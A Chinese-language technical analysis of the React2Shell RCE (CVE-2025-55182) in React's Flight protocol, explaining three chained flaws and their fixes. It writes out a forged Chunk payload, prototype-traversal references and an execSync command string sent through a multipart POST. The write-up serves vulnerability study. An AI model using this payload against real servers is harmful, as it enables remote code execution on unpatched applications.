CVE-2025-55182(React2Shell)漏洞代码层面原理解析
一、漏洞前提:先理解 React Flight 协议与 Chunk 结构
要理解此漏洞,必须先明确两个核心概念——Flight 协议的 Chunk 架构和 Server Actions 的工作流,这是漏洞利用的基础。
1. Chunk 的核心代码与作用
Flight 协议使用 Chunk 对象封装数据,且 Chunk 继承 Promise 原型(成为 thenable 对象,可被 Promise 机制处理),代码定义如下(来自 ReactFlightReplyServer.js):
// Chunk的内部结构(核心属性)
function Chunk(status, value, reason, response) {
this.status = status; // 状态:'pending'/'resolved_model'/'fulfilled'等
this.value = value; // 实际数据(可能是JSON字符串/Chunk引用)
this.reason = reason; // 错误原因或关联Chunk ID
this._response = response; // 关联的父Response对象(关键!后续会被伪造)
}
// 让Chunk继承Promise原型,具备.then()方法
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) {
// 核心逻辑:根据status处理Chunk,若为'resolved_model'则调用initializeModelChunk
const chunk = this;
switch (chunk.status) {
case 'resolved_model':
initializeModelChunk(chunk); // 漏洞2的触发点
break;
// 其他状态处理...
}
};
关键结论:
- Chunk 是 Flight 协议数据传输的基本单位,所有用户输入最终会被封装成 Chunk
- Chunk.prototype.then() 是漏洞链的"启动器",会触发后续的 initializeModelChunk(处理数据反序列化)
二、三重漏洞逐一解析(代码层面)
漏洞本质是 3 个独立逻辑缺陷的链式利用,需按"漏洞 1→漏洞 2→漏洞 3"的顺序触发,最终实现 RCE。
漏洞 1:路径遍历(getOutlinedModel 函数)—— 窃取原型链函数
1.1 漏洞代码(ReactFlightReplyServer.js:614-615)
该函数负责解析 Flight 协议的"路径引用"(如 $1:user:name 表示访问 ID 为 1 的 Chunk 的 user.name 属性),但未过滤危险属性:
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':'); // 分割路径,如"1:__proto__:then"→["1","__proto__","then"]
const id = parseInt(path[0], 16); // 解析Chunk ID(这里是1)
const chunk = getChunk(response, id); // 获取ID为1的Chunk
// 若Chunk已初始化,遍历路径访问属性
if (chunk.status === 'INITIALIZED') {
let value = chunk.value; // value初始为Chunk 1的实际数据
// 核心漏洞:无任何过滤,直接通过方括号访问属性!
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 允许访问__proto__/constructor等危险属性
}
return map(response, value);
}
}
1.2 漏洞原理与利用
- 设计意图:支持访问嵌套属性(如
$0:user:address:city),但未做安全限制 - 攻击利用:构造路径
$1:__proto__:then,让函数窃取 Chunk.prototype.then 函数:- path = ["1", "proto", "then"],chunk 1 的 value 最终指向主 Payload(伪造的 Chunk 对象)
- 第一次循环:value = value["proto"] → 拿到 Chunk 对象的原型(Chunk.prototype)
- 第二次循环:value = value["then"] → 拿到 Chunk.prototype.then 函数(真实的.then 方法)
- 最终返回该函数,赋值给伪造 Chunk 的 then 属性,让伪造对象成为"合法"的 thenable(可被 Promise 处理)
1.3 代码层面的致命问题
- 未过滤
__proto__/constructor/prototype等危险属性 - 用
value[path[i]]而非value.hasOwnProperty(path[i]),会遍历整个原型链(不仅限于对象自身属性)
漏洞 2:假 Chunk 对象注入(Chunk.prototype.then + initializeModelChunk)—— 伪装成合法 Chunk
2.1 漏洞代码(两处关键逻辑)
(1)Chunk.prototype.then(ReactFlightReplyServer.js:127-143)
Chunk.prototype.then = function(resolve, reject) {
const chunk = this; // 这里的"this"可能是攻击者伪造的对象!
switch (chunk.status) {
case 'resolved_model': // 仅通过status字符串判断,无类型校验
initializeModelChunk(chunk); // 直接将伪造对象传入
break;
}
};
(2)initializeModelChunk(ReactFlightReplyServer.js:446-474)
function initializeModelChunk(chunk) {
// 漏洞核心:完全信任chunk的属性,无实例校验
const resolvedModel = chunk.value; // 直接读取伪造的value(内层Payload)
const rawModel = JSON.parse(resolvedModel); // 解析恶意JSON
const value = reviveModel(
chunk._response, // 直接使用伪造的_response对象(无验证)
{'': rawModel},
rawModel,
rootReference
);
}
2.2 漏洞原理与利用
设计缺陷:
- 仅通过
status === 'resolved_model'判断是否为合法 Chunk,未验证 chunk 是否为 Chunk 类的实例 - 直接使用
chunk._response(伪造的 Response 对象),未检查其合法性
攻击利用: 构造伪造的 Chunk 对象,让 React 误判为合法 Chunk:
// 攻击者构造的假Chunk(JSON格式,会被解析为对象)
{
"then": "$1:__proto__:then", // 漏洞1窃取的真实.then方法
"status": "resolved_model", // 伪装成已解析状态
"value": "{\"then\":\"$B1337\"}", // 内层Payload(触发漏洞3)
"_response": { // 完全伪造的Response对象
"_prefix": "恶意代码;", // 后续会拼接成攻击代码
"_formData": { "get": "$1:constructor:constructor" } // 漏洞3的关键
}
}
- 伪造对象有 then 方法 → 被 Promise 机制视为 thenable
- status 为 resolved_model → 通过 switch 判断,进入 initializeModelChunk
- _response 存在 → 被当作合法 Response 使用,为漏洞 3 铺路
漏洞 3:Function 构造器替换(parseModelString 的 $B 分支)—— 触发 RCE
3.1 漏洞代码(ReactFlightReplyServer.js:1059-1067)
该分支负责解析 Flight 协议的 \(B 类型(Blob 引用,格式如 `\)B1337),但未校验 _formData.get` 的合法性。
3.2 漏洞原理与利用
需结合漏洞 1 的路径遍历,先将 _formData.get 替换为 Function 构造器:
-
替换 get 为 Function:伪造 Response 的
_formData.get值为$1:constructor:constructor(路径遍历):$1:constructor:constructor→ 解析为chunk1.value.constructor.constructor- chunk1.value 是伪造的 Chunk 对象 → 其 constructor 是 Object → Object.constructor.constructor 就是 Function(JavaScript 中,Function 是所有函数的构造器,可动态创建函数)
-
构造恶意 _prefix:伪造 Response 的
_prefix为执行系统命令的代码 -
触发代码执行:当解析内层 Payload 的
$B1337时:blobKey = prefix + id→ 拼接成"process.mainModule.require('child_process').execSync('id').toString().trim();4919"response._formData.get(blobKey)→ 等价于Function("process.mainModule.require('child_process').execSync('id').toString().trim();4919")Function(代码)会创建一个匿名函数,当 Promise 机制调用该函数的.then()时,代码被执行 → RCE 实现
3.3 代码层面的致命问题
- 未校验
response._formData是否为真实的 FormData 实例 - 未校验
formData.get是否为原生方法(允许被替换为 Function)
三、完整攻击链代码流程(从请求到 RCE)
结合上述三个漏洞,攻击者构造的请求会按以下代码路径触发 RCE,关键步骤已标注对应漏洞:
-
请求发送:前端发送
POST /page请求,Content-Type: multipart/form-data,FormData 包含 3 个字段:- field 0:主 Payload(伪造的 Chunk 对象,含 then/status/_response)
- field 1:
"$@0"(Promise 引用,指向 field 0,形成循环引用) - field 2:
[](空数组,满足 Response 的 _chunks 属性要求)
-
服务端处理:
- 漏洞 1 触发:
rootChunk.then()调用parseModelString解析"then": "$1:__proto__:then",通过getOutlinedModel窃取Chunk.prototype.then,赋值给伪造 Chunk 的 then 属性 - 漏洞 2 触发:Promise 机制处理伪造 Chunk,调用
initializeModelChunk,使用伪造的_response对象,解析内层 Payload"then": "$B1337" - 漏洞 3 触发:解析
$B1337时,调用被替换为 Function 的_formData.get,创建恶意函数,最终通过.then()调用执行系统命令 → RCE
- 漏洞 1 触发:
四、关键修复代码对比(理解防御逻辑)
React 官方通过 4 处修复彻底封堵漏洞,对比修复前后的代码,能更清晰理解漏洞根源:
1. 漏洞 1 修复:属性白名单(getOutlinedModel)
添加属性访问白名单,禁止访问危险原型属性。
2. 漏洞 2 修复:Chunk/Response 实例校验(initializeModelChunk)
增加实例类型检查,确保传入的对象是合法的 Chunk 实例。
3. 漏洞 3 修复:FormData 合法性校验(parseModelString 的 $B 分支)
校验 response._formData 是否为真实的 FormData 实例,防止方法被替换。
总结: CVE-2025-55182 是一个典型的原型污染+对象伪造漏洞链,通过精心构造的恶意数据,利用 React Flight 协议的安全缺陷,最终实现远程代码执行。理解此漏洞有助于深入认识 JavaScript 原型链安全、Promise 机制安全以及现代前端框架的安全设计原则。